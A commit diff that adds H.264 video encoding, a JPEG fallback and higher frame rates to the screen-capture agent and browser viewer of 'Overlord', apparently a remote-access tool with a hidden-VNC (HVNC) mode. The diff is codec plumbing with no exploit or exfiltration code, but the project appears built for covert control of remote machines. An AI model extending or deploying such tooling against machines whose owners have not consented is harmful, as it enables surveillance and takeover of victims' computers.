add h264. Should hopefully be good for now. not going to push docker build until fully tested.

Overlord-Client/cmd/agent/capture/capture.go

@@ -22,6 +22,7 @@ import (
 
 func Loop(ctx context.Context, env *rt.Env) {
 	defer recoverAndLog("capture loop", env.Cancel)
+	logCodecSupport()
 
 	if env.Cfg.DisableCapture {
 		log.Printf("capture: disabled by config, sending black placeholder")
@@ -288,6 +289,8 @@ var (
 
 	overrideQuality atomic.Int64
 	overrideCodec   atomic.Value
+	h264WarnOnce    sync.Once
+	codecLogOnce    sync.Once
 
 	prevMu    sync.Mutex
 	prevFrame *prevImage
@@ -299,6 +302,16 @@ type prevImage struct {
 	pix []byte
 }
 
+func logCodecSupport() {
+	codecLogOnce.Do(func() {
+		if h264Available() {
+			log.Printf("capture: codec support h264=enabled jpeg=enabled")
+			return
+		}
+		log.Printf("capture: codec support h264=disabled (cgo off), jpeg=enabled")
+	})
+}
+
 func frameFPS(now time.Time) int {
 	start := fpsWindowStart.Load()
 	if start == 0 {
@@ -357,6 +370,7 @@ func ResetPrev() {
 	prevMu.Unlock()
 	lastKeyframe.Store(0)
 	requestFullFrames(2)
+	resetH264Encoder()
 }
 
 func jpegQuality() int {
@@ -451,6 +465,22 @@ func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Dur
 	now := time.Now()
 	codec := blockCodec()
 
+	if codec == "h264" {
+		h264Bytes, err := encodeH264Frame(img)
+		if err == nil && len(h264Bytes) > 0 {
+			prevMu.Lock()
+			copyPrev(img)
+			prevMu.Unlock()
+			lastKeyframe.Store(now.UnixNano())
+			statFullFrames.Add(1)
+			return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264"}, Data: h264Bytes}, time.Since(encStart), nil
+		}
+		h264WarnOnce.Do(func() {
+			log.Printf("capture: h264 encode unavailable, falling back to jpeg: %v", err)
+		})
+		codec = "jpeg"
+	}
+
 	if !enableBlocks {
 		jpegBytes, err := encodeJPEG(img, quality)
 		prevMu.Lock()
@@ -494,10 +524,8 @@ func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Dur
 	}
 
 	if blocks == 0 {
-
+		// Keepalive frames indicate no block-level changes, so avoid copying the
-		prevMu.Lock()
+		// full RGBA buffer into prevFrame again.
-		copyPrev(img)
-		prevMu.Unlock()
 		statKeepaliveFrames.Add(1)
 		return wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "blocks"}, Data: blockPayload}, encDur, nil
 	}
@@ -555,9 +583,8 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
 	}
 
 	if blocks == 0 {
-		prevMu.Lock()
+		// Keepalive frames indicate no block-level changes, so avoid copying the
-		copyPrev(img)
+		// full RGBA buffer into prevFrame again.
-		prevMu.Unlock()
 		statKeepaliveFrames.Add(1)
 		frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "blocks", HVNC: true}, Data: blockPayload}
 		return frame, encDur, nil
@@ -1125,6 +1152,8 @@ func blockCodec() string {
 	blockCodecOnce.Do(func() {
 		codec := strings.ToLower(os.Getenv(blockCodecEnv))
 		switch codec {
+		case "h264":
+			cachedBlockCodec = "h264"
 		case "raw", "rgba":
 			cachedBlockCodec = "raw"
 		case "jpeg", "":
@@ -1144,13 +1173,22 @@ func SetQualityAndCodec(quality int, codec string) {
 		overrideQuality.Store(int64(quality))
 	}
 	s := strings.ToLower(strings.TrimSpace(codec))
+	if s == "h264" && !h264Available() {
+		log.Printf("capture: requested codec=h264 but unavailable; forcing codec=jpeg")
+		s = "jpeg"
+	}
 	switch s {
-	case "raw", "rgba", "jpeg":
+	case "raw", "rgba", "jpeg", "h264":
 		overrideCodec.Store(s)
+		h264WarnOnce = sync.Once{}
+		if s != "h264" {
+			resetH264Encoder()
+		}
 	case "":
 
 	default:
 		overrideCodec.Store("jpeg")
+		resetH264Encoder()
 	}
 }
 

Overlord-Client/cmd/agent/capture/h264_encoder_stub.go

@@ -0,0 +1,18 @@
+//go:build !cgo
+
+package capture
+
+import (
+	"errors"
+	"image"
+)
+
+func encodeH264Frame(_ *image.RGBA) ([]byte, error) {
+	return nil, errors.New("h264 support not available (cgo disabled)")
+}
+
+func h264Available() bool {
+	return false
+}
+
+func resetH264Encoder() {}

Overlord-Client/cmd/agent/capture/h264_encoder_x264.go

@@ -0,0 +1,89 @@
+//go:build cgo
+
+package capture
+
+import (
+	"bytes"
+	"image"
+	"sync"
+
+	x264 "github.com/gen2brain/x264-go"
+)
+
+var (
+	h264Mu     sync.Mutex
+	h264Enc    *x264.Encoder
+	h264Buf    bytes.Buffer
+	h264Width  int
+	h264Height int
+)
+
+func encodeH264Frame(img *image.RGBA) ([]byte, error) {
+	bounds := img.Bounds()
+	width := bounds.Dx()
+	height := bounds.Dy()
+
+	h264Mu.Lock()
+	defer h264Mu.Unlock()
+
+	if err := ensureH264EncoderLocked(width, height); err != nil {
+		return nil, err
+	}
+
+	h264Buf.Reset()
+	if err := h264Enc.Encode(img); err != nil {
+		return nil, err
+	}
+
+	out := make([]byte, h264Buf.Len())
+	copy(out, h264Buf.Bytes())
+	return out, nil
+}
+
+func h264Available() bool {
+	return true
+}
+
+func ensureH264EncoderLocked(width, height int) error {
+	if h264Enc != nil && h264Width == width && h264Height == height {
+		return nil
+	}
+
+	closeH264EncoderLocked()
+
+	opts := &x264.Options{
+		Width:     width,
+		Height:    height,
+		FrameRate: 25,
+		Tune:      "zerolatency",
+		Preset:    "ultrafast",
+		Profile:   "baseline",
+		LogLevel:  x264.LogError,
+	}
+
+	enc, err := x264.NewEncoder(&h264Buf, opts)
+	if err != nil {
+		return err
+	}
+
+	h264Enc = enc
+	h264Width = width
+	h264Height = height
+	return nil
+}
+
+func resetH264Encoder() {
+	h264Mu.Lock()
+	defer h264Mu.Unlock()
+	closeH264EncoderLocked()
+}
+
+func closeH264EncoderLocked() {
+	if h264Enc != nil {
+		_ = h264Enc.Close()
+		h264Enc = nil
+	}
+	h264Width = 0
+	h264Height = 0
+	h264Buf.Reset()
+}

Overlord-Client/cmd/agent/handlers/desktop.go

@@ -27,8 +27,12 @@ func GetPersistedDisplay() int {
 }
 
 func DesktopStart(ctx context.Context, env *rt.Env) error {
-	interval, fps := streamInterval("OVERLORD_DESKTOP_MAX_FPS", 60)
+	interval, fps := streamInterval("OVERLORD_DESKTOP_MAX_FPS", 120)
-	log.Printf("desktop: starting stream (max fps %d)", fps)
+	if fps < 60 {
+		fps = 60
+		interval = time.Second / time.Duration(fps)
+	}
+	log.Printf("desktop: starting stream (target fps %d)", fps)
 	ticker := time.NewTicker(interval)
 	defer ticker.Stop()
 	for {

Overlord-Client/cmd/agent/handlers/stream_limit.go

@@ -21,8 +21,8 @@ func streamInterval(envVar string, defFPS int) (time.Duration, int) {
 	if fps < 1 {
 		fps = 1
 	}
-	if fps > 120 {
+	if fps > 1000 {
-		fps = 120
+		fps = 1000
 	}
 	return time.Second / time.Duration(fps), fps
 }

Overlord-Client/go.mod

@@ -1,9 +1,10 @@
 module overlord-client
 
-go 1.21
+go 1.23
 
 require (
 	github.com/creack/pty v1.1.21
+	github.com/gen2brain/x264-go v0.3.1 // optional: used when cgo is enabled
 	github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018
 	github.com/pixiv/go-libjpeg v0.0.0-20190822045933-3da21a74767d // optional: turbojpeg build tag
 	github.com/tetratelabs/wazero v1.7.0
@@ -15,6 +16,8 @@ require golang.org/x/sys v0.24.0
 
 require (
 	github.com/gen2brain/shm v0.1.0 // indirect
+	github.com/gen2brain/x264-go/x264c v0.0.0-20241022182000-732e1bdb7da2 // indirect
+	github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2 // indirect
 	github.com/godbus/dbus/v5 v5.1.0 // indirect
 	github.com/jezek/xgb v1.1.1 // indirect
 	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect

Overlord-Client/go.sum

@@ -4,6 +4,12 @@ github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8
 github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
 github.com/gen2brain/shm v0.1.0 h1:MwPeg+zJQXN0RM9o+HqaSFypNoNEcNpeoGp0BTSx2YY=
 github.com/gen2brain/shm v0.1.0/go.mod h1:UgIcVtvmOu+aCJpqJX7GOtiN7X2ct+TKLg4RTxwPIUA=
+github.com/gen2brain/x264-go v0.3.1 h1:XFi6y8HM5BCMrP4kR/o711iBU++XNfLOY3PG8Alz2kU=
+github.com/gen2brain/x264-go v0.3.1/go.mod h1:+Z4VKXQrUKzbfEv36GyiyjXfixmOp2c820ugsMthW18=
+github.com/gen2brain/x264-go/x264c v0.0.0-20241022182000-732e1bdb7da2 h1:aS40m/Q+6z0ID7EVegxnnw3lWHUceGbg0zucbo7335I=
+github.com/gen2brain/x264-go/x264c v0.0.0-20241022182000-732e1bdb7da2/go.mod h1:r2t0/BO5YgPRwWQpLYO5iB5FLSj1ArTQc/zmAoAV7sQ=
+github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2 h1:lihaRUKRj94EWVZRp1jTmEiIxmvjEiSb9fJl2xftrXY=
+github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2/go.mod h1:PzzJntdOaVt4Gc37fNaEXpqmhKkUgd/xqyPMUfx+FQc=
 github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk=
 github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
 github.com/jezek/xgb v1.1.1 h1:bE/r8ZZtSv7l9gk6nU0mYx51aXrvnyb44892TwSaqS4=

Overlord-Server/public/assets/remotedesktop.js

@@ -29,6 +29,8 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
   const smoothingValue = document.getElementById("smoothingValue");
   const qualitySlider = document.getElementById("qualitySlider");
   const qualityValue = document.getElementById("qualityValue");
+  const codecH264 = document.getElementById("codecH264");
+  const codecMode = document.getElementById("codecMode");
   const canvas = document.getElementById("frameCanvas");
   const canvasContainer = document.getElementById("canvasContainer");
   const ctx = canvas.getContext("2d");
@@ -53,9 +55,36 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
   let smoothPoint = null;
   let pendingMove = null;
   let moveTimer = null;
+  let frameDecodeBusy = false;
+  let pendingFrame = null;
+  let videoDecoder = null;
+  let h264TimestampUs = 0;
+  const codecPrefKey = "rdCodecPreferH264";
+  let prefersH264 = typeof VideoDecoder === "function";
+  let h264LowFpsStreak = 0;
   const mouseMoveIntervalMs = 33;
   const inputBackpressureBytes = 256 * 1024;
   let lastMoveSentAt = 0;
+
+  const storedCodecPref = localStorage.getItem(codecPrefKey);
+  if (storedCodecPref === "0") {
+    prefersH264 = false;
+  } else if (storedCodecPref === "1") {
+    prefersH264 = typeof VideoDecoder === "function";
+  }
+  if (codecH264) {
+    codecH264.checked = prefersH264;
+    codecH264.disabled = typeof VideoDecoder !== "function";
+  }
+
+  function setCodecModeLabel(mode, detail) {
+    if (!codecMode) return;
+    const suffix = detail ? ` (${detail})` : "";
+    codecMode.textContent = `Codec: ${String(mode || "auto").toUpperCase()}${suffix}`;
+  }
+
+  setCodecModeLabel(prefersH264 ? "h264" : "jpeg", "preferred");
+
   setStreamState("connecting", "Connecting");
 
   function updateFpsDisplay(agentValue) {
@@ -272,11 +301,26 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
 
   function pushQuality(val) {
     const q = Number(val) || 90;
-    const codec = q >= 100 ? "raw" : "jpeg";
+    const codec = q >= 100 ? "raw" : (prefersH264 ? "h264" : "jpeg");
     console.debug("rd: pushQuality val=", val, "q=", q, "codec=", codec);
+    setCodecModeLabel(codec, "requested");
     sendCmd("desktop_set_quality", { quality: q, codec });
   }
 
+  if (codecH264) {
+    codecH264.addEventListener("change", function () {
+      prefersH264 = !!codecH264.checked && typeof VideoDecoder === "function";
+      localStorage.setItem(codecPrefKey, prefersH264 ? "1" : "0");
+      if (!prefersH264) {
+        destroyVideoDecoder();
+        h264LowFpsStreak = 0;
+      }
+      if (qualitySlider) {
+        pushQuality(qualitySlider.value);
+      }
+    });
+  }
+
   displaySelect.addEventListener("change", function () {
     console.debug("rd: select display", displaySelect.value);
     sendCmd("desktop_select_display", {
@@ -374,51 +418,168 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
     });
   }
 
-  ws.addEventListener("message", async function (ev) {
+  function isFramePacket(buf) {
-    if (ev.data instanceof ArrayBuffer) {
+    return buf.length >= 8 && buf[0] === 0x46 && buf[1] === 0x52 && buf[2] === 0x4d;
-      const buf = new Uint8Array(ev.data);
+  }
-      if (buf.length >= 8 && buf[0] === 0x46 && buf[1] === 0x52 && buf[2] === 0x4d) {
+
-        const fps = buf[5];
+  function markFrameReceived() {
-        const format = buf[6];
     lastFrameAt = performance.now();
     clearOfflineTimer();
-        if (streamState !== "streaming") {
+    if (streamState !== "streaming" && desiredStreaming) {
-          if (desiredStreaming) {
       setStreamState("streaming", "Streaming");
     }
   }
 
-        if (format === 1) {
+  function drawJpegFallback(blob, target) {
-          const jpegBytes = buf.slice(8);
+    return new Promise((resolve) => {
-          const blob = new Blob([jpegBytes], { type: "image/jpeg" });
-          try {
-            const bitmap = await createImageBitmap(blob);
-            frameWidth = bitmap.width || frameWidth;
-            frameHeight = bitmap.height || frameHeight;
-            canvas.width = bitmap.width;
-            canvas.height = bitmap.height;
-            ctx.drawImage(bitmap, 0, 0);
-            bitmap.close();
-            updateFpsDisplay(fps);
-          } catch {
       const img = new Image();
       const url = URL.createObjectURL(blob);
       img.onload = function () {
+        if (target) {
+          ctx.drawImage(img, target.x, target.y, target.w, target.h);
+        } else {
           frameWidth = img.width || frameWidth;
           frameHeight = img.height || frameHeight;
           canvas.width = img.width;
           canvas.height = img.height;
           ctx.drawImage(img, 0, 0);
+        }
         URL.revokeObjectURL(url);
-              updateFpsDisplay(fps);
+        resolve(true);
+      };
+      img.onerror = function () {
+        URL.revokeObjectURL(url);
+        resolve(false);
       };
       img.src = url;
+    });
   }
+
+  async function drawJpegSlice(slice, target) {
+    const blob = new Blob([slice], { type: "image/jpeg" });
+    try {
+      const bitmap = await createImageBitmap(blob);
+      if (target) {
+        ctx.drawImage(bitmap, target.x, target.y, target.w, target.h);
+      } else {
+        frameWidth = bitmap.width || frameWidth;
+        frameHeight = bitmap.height || frameHeight;
+        canvas.width = bitmap.width;
+        canvas.height = bitmap.height;
+        ctx.drawImage(bitmap, 0, 0);
+      }
+      bitmap.close();
+      return true;
+    } catch {
+      return drawJpegFallback(blob, target);
+    }
+  }
+
+  function destroyVideoDecoder() {
+    if (!videoDecoder) return;
+    try {
+      videoDecoder.close();
+    } catch {
+      // Ignore close errors when decoder is already shutting down.
+    }
+    videoDecoder = null;
+    h264TimestampUs = 0;
+  }
+
+  function fallbackToJpegCodec(reason) {
+    if (!prefersH264) return;
+    prefersH264 = false;
+    h264LowFpsStreak = 0;
+    destroyVideoDecoder();
+    if (codecH264) codecH264.checked = false;
+    localStorage.setItem(codecPrefKey, "0");
+    console.warn("rd: falling back to jpeg codec", reason || "");
+    const q = Number(qualitySlider?.value) || 90;
+    setCodecModeLabel("jpeg", "fallback");
+    if (ws.readyState === WebSocket.OPEN) {
+      sendCmd("desktop_set_quality", { quality: q, codec: "jpeg" });
+    }
+  }
+
+  function isH264KeyFrame(data) {
+    for (let i = 0; i + 4 < data.length; i++) {
+      let startCodeLen = 0;
+      if (data[i] === 0x00 && data[i + 1] === 0x00 && data[i + 2] === 0x01) {
+        startCodeLen = 3;
+      } else if (
+        i + 4 < data.length &&
+        data[i] === 0x00 &&
+        data[i + 1] === 0x00 &&
+        data[i + 2] === 0x00 &&
+        data[i + 3] === 0x01
+      ) {
+        startCodeLen = 4;
+      }
+      if (!startCodeLen) continue;
+      const nalIndex = i + startCodeLen;
+      if (nalIndex >= data.length) break;
+      const nalType = data[nalIndex] & 0x1f;
+      if (nalType === 5) {
+        return true;
+      }
+      i = nalIndex;
+    }
+    return false;
+  }
+
+  function ensureVideoDecoder() {
+    if (videoDecoder) {
+      return true;
+    }
+    if (typeof VideoDecoder !== "function") {
+      return false;
+    }
+    try {
+      videoDecoder = new VideoDecoder({
+        output: (frame) => {
+          const width = frame.displayWidth || frame.codedWidth || frameWidth;
+          const height = frame.displayHeight || frame.codedHeight || frameHeight;
+          if (width > 0 && height > 0 && (canvas.width !== width || canvas.height !== height)) {
+            canvas.width = width;
+            canvas.height = height;
+            frameWidth = width;
+            frameHeight = height;
+          }
+          try {
+            ctx.drawImage(frame, 0, 0, canvas.width, canvas.height);
+          } finally {
+            frame.close();
+          }
+        },
+        error: (err) => {
+          console.warn("rd: h264 decoder error", err);
+        },
+      });
+      videoDecoder.configure({ codec: "avc1.42E01E", optimizeForLatency: true });
+      return true;
+    } catch (err) {
+      console.warn("rd: h264 decoder unavailable", err);
+      fallbackToJpegCodec(err);
+      destroyVideoDecoder();
+      return false;
+    }
+  }
+
+  async function processFrameBuffer(buf) {
+    const fps = buf[5];
+    const format = buf[6];
+
+    if (format === 1) {
+      const jpegBytes = buf.slice(8);
+      setCodecModeLabel("jpeg", "active");
+      await drawJpegSlice(jpegBytes, null);
+      updateFpsDisplay(fps);
       return;
     }
 
     if (format === 2 || format === 3) {
-          if (buf.length < 8 + 8) return;
+      setCodecModeLabel(format === 3 ? "raw" : "jpeg", format === 3 ? "blocks" : "blocks");
+      if (buf.length < 16) return;
       const dv = new DataView(buf.buffer, 8);
       let pos = 0;
       const width = dv.getUint16(pos, true);
@@ -441,6 +602,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
         canvas.width = width;
         canvas.height = height;
       }
+
       for (let i = 0; i < blockCount; i++) {
         if (pos + 12 > dv.byteLength) break;
         const x = dv.getUint16(pos, true);
@@ -458,24 +620,81 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
         if (end > buf.length) break;
         const slice = buf.subarray(start, end);
         pos += len;
+
         if (format === 2) {
-              try {
+          await drawJpegSlice(slice, { x, y, w, h });
-                const bitmap = await createImageBitmap(
+        } else if (slice.length === w * h * 4) {
-                  new Blob([slice], { type: "image/jpeg" }),
-                );
-                ctx.drawImage(bitmap, x, y, w, h);
-                bitmap.close();
-              } catch {}
-            } else {
-              if (slice.length === w * h * 4) {
           const imgData = new ImageData(new Uint8ClampedArray(slice), w, h);
           ctx.putImageData(imgData, x, y);
         }
       }
-          }
+
       updateFpsDisplay(fps);
       return;
     }
+
+    if (format === 4) {
+      setCodecModeLabel("h264", "active");
+      const h264Bytes = buf.slice(8);
+      if (!h264Bytes.length) return;
+      if (!ensureVideoDecoder()) {
+        fallbackToJpegCodec("WebCodecs decoder unavailable");
+        return;
+      }
+
+      // If software H264 encode on the agent cannot keep up, automatically
+      // fall back to JPEG blocks for a smoother interactive stream.
+      if ((fps || 0) <= 6) {
+        h264LowFpsStreak += 1;
+      } else {
+        h264LowFpsStreak = 0;
+      }
+      if (h264LowFpsStreak >= 24) {
+        fallbackToJpegCodec(`low h264 fps (${fps})`);
+        return;
+      }
+
+      const frameIntervalUs = Math.floor(1_000_000 / Math.max(1, fps || 25));
+      const chunk = new EncodedVideoChunk({
+        type: isH264KeyFrame(h264Bytes) ? "key" : "delta",
+        timestamp: h264TimestampUs,
+        data: h264Bytes,
+      });
+      h264TimestampUs += frameIntervalUs;
+      try {
+        videoDecoder.decode(chunk);
+        updateFpsDisplay(fps);
+      } catch (err) {
+        console.warn("rd: h264 decode failed", err);
+        fallbackToJpegCodec(err);
+      }
+    }
+  }
+
+  function flushPendingFrame() {
+    if (frameDecodeBusy || !pendingFrame) {
+      return;
+    }
+    const next = pendingFrame;
+    pendingFrame = null;
+    frameDecodeBusy = true;
+    processFrameBuffer(next).finally(() => {
+      frameDecodeBusy = false;
+      if (pendingFrame) {
+        flushPendingFrame();
+      }
+    });
+  }
+
+  ws.addEventListener("message", function (ev) {
+    if (ev.data instanceof ArrayBuffer) {
+      const buf = new Uint8Array(ev.data);
+      if (isFramePacket(buf)) {
+        markFrameReceived();
+        // Coalesce bursty arrivals so the renderer catches up to the newest frame.
+        pendingFrame = buf;
+        flushPendingFrame();
+        return;
       }
 
       const msg = decodeMsgpack(buf);
@@ -521,10 +740,12 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
 
   ws.addEventListener("close", function () {
     desiredStreaming = false;
+    destroyVideoDecoder();
     setStreamState("disconnected", "Disconnected");
   });
 
   ws.addEventListener("error", function () {
+    destroyVideoDecoder();
     setStreamState("error", "WebSocket error");
   });
 
@@ -660,6 +881,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
       desiredStreaming = false;
       sendCmd("desktop_stop", {});
     }
+    destroyVideoDecoder();
   }
 
   window.addEventListener("beforeunload", stopOnExit);

Overlord-Server/public/remotedesktop.html

@@ -58,6 +58,14 @@
               >95%</span
             >
           </div>
+          <div
+            class="bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3 text-sm text-slate-300"
+          >
+            <label class="flex items-center gap-2 text-slate-200" title="Prefer H.264 when available; disable to force JPEG">
+              <input type="checkbox" id="codecH264" checked /> H.264
+            </label>
+            <span id="codecMode" class="pill pill-ghost text-slate-100">Codec: auto</span>
+          </div>
           <div class="flex items-center gap-2">
             <button id="startBtn" class="button primary">
               <i class="fa-solid fa-play"></i><span>Start</span>

Overlord-Server/src/protocol.ts

@@ -100,7 +100,7 @@ export type ScreenshotResult = {
 export type FrameHeader = {
   monitor: number;
   fps: number;
-  format: "jpeg" | "webp" | "raw";
+  format: "jpeg" | "webp" | "raw" | "h264";
   hash?: string;
   hvnc?: boolean;
 };

Overlord-Server/src/server/ws-console-rd-hvnc.ts

@@ -42,7 +42,13 @@ function safeSendViewerFrame(ws: ServerWebSocket<SocketData>, bytes: Uint8Array,
     meta[3] = 1;
     meta[4] = (header?.monitor ?? 0) & 0xff;
     meta[5] = (header?.fps ?? 0) & 0xff;
-    const fmt = header?.format === "blocks" ? 2 : header?.format === "blocks_raw" ? 3 : 1;
+    const fmt = header?.format === "blocks"
+      ? 2
+      : header?.format === "blocks_raw"
+      ? 3
+      : header?.format === "h264"
+      ? 4
+      : 1;
     meta[6] = fmt;
     meta[7] = 0;
 
@@ -59,7 +65,13 @@ function safeSendViewerFrame(ws: ServerWebSocket<SocketData>, bytes: Uint8Array,
 }
 
 const rdSendStats = { lastLog: 0, frames: 0, sendMs: 0, bytes: 0 };
-export const rdStreamingState = new Map<string, { isStreaming: boolean; display: number; quality: number; duplication: boolean }>();
+export const rdStreamingState = new Map<string, {
+  isStreaming: boolean;
+  display: number;
+  quality: number;
+  codec: string;
+  duplication: boolean;
+}>();
 const rdInputPending = new Map<string, { clientId: string; sentAt: number; kind: string }>();
 const RD_INPUT_TTL_MS = 10_000;
 
@@ -208,7 +220,7 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
     return;
   }
 
-  const state = rdStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, duplication: false };
+  const state = rdStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, codec: "", duplication: false };
 
   logger.debug(`[rd] inbound viewer msg type=${payload.type} client=${clientId}`);
   switch (payload.type) {
@@ -247,11 +259,13 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
     }
     case "desktop_set_quality": {
       const newQuality = Number(payload.quality) || 90;
-      if (state.quality !== newQuality) {
+      const newCodec = String(payload.codec || "").toLowerCase();
-        sendDesktopCommand(target, "desktop_set_quality", { quality: newQuality, codec: payload.codec || "" });
+      if (state.quality !== newQuality || state.codec !== newCodec) {
+        sendDesktopCommand(target, "desktop_set_quality", { quality: newQuality, codec: newCodec });
         state.quality = newQuality;
+        state.codec = newCodec;
         rdStreamingState.set(clientId, state);
-        logger.debug(`[rd] set quality to ${newQuality}`);
+        logger.debug(`[rd] set quality=${newQuality} codec=${newCodec || "(default)"}`);
       }
       break;
     }
@@ -328,7 +342,7 @@ function handleRemoteDesktopFrame(payload: any) {
   const header = payload.header;
   const bytes = payload.data as Uint8Array;
   const t0 = typeof performance !== "undefined" && performance.now ? performance.now() : Date.now();
-  const state = rdStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, duplication: false };
+  const state = rdStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, codec: "", duplication: false };
   if (!state.isStreaming) {
     rdStreamingState.set(clientId, { ...state, isStreaming: true });
   }
@@ -359,7 +373,7 @@ function handleRemoteDesktopFrame(payload: any) {
   return sent;
 };
 
-export const hvncStreamingState = new Map<string, { isStreaming: boolean; display: number; quality: number }>();
+export const hvncStreamingState = new Map<string, { isStreaming: boolean; display: number; quality: number; codec: string }>();
 
 export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
   const { clientId } = ws.data;
@@ -398,7 +412,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
     return;
   }
 
-  const state = hvncStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90 };
+  const state = hvncStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, codec: "" };
 
   logger.debug(`[hvnc] inbound viewer msg type=${payload.type} client=${clientId}`);
   switch (payload.type) {
@@ -434,11 +448,13 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
     }
     case "hvnc_set_quality": {
       const newQuality = Number(payload.quality) || 90;
-      if (state.quality !== newQuality) {
+      const newCodec = String(payload.codec || "").toLowerCase();
-        sendHVNCCommand(target, "hvnc_set_quality", { quality: newQuality, codec: payload.codec || "" });
+      if (state.quality !== newQuality || state.codec !== newCodec) {
+        sendHVNCCommand(target, "hvnc_set_quality", { quality: newQuality, codec: newCodec });
         state.quality = newQuality;
+        state.codec = newCodec;
         hvncStreamingState.set(clientId, state);
-        logger.debug(`[hvnc] set quality to ${newQuality}`);
+        logger.debug(`[hvnc] set quality=${newQuality} codec=${newCodec || "(default)"}`);
       }
       break;
     }

go.work.sum

@@ -0,0 +1,6 @@
+github.com/gen2brain/x264-go v0.3.1 h1:XFi6y8HM5BCMrP4kR/o711iBU++XNfLOY3PG8Alz2kU=
+github.com/gen2brain/x264-go v0.3.1/go.mod h1:+Z4VKXQrUKzbfEv36GyiyjXfixmOp2c820ugsMthW18=
+github.com/gen2brain/x264-go/x264c v0.0.0-20221204084822-82ee2951dea2 h1:4GzTsZK/uG+tHvWR2ORcTCGTC4+mgOPhkUdz/Ro9alg=
+github.com/gen2brain/x264-go/x264c v0.0.0-20221204084822-82ee2951dea2/go.mod h1:MUMv+ZURlTO3qH8QAt2gxiIY5X4NMaxObz2ImZOMvyA=
+github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2 h1:lihaRUKRj94EWVZRp1jTmEiIxmvjEiSb9fJl2xftrXY=
+github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2/go.mod h1:PzzJntdOaVt4Gc37fNaEXpqmhKkUgd/xqyPMUfx+FQc=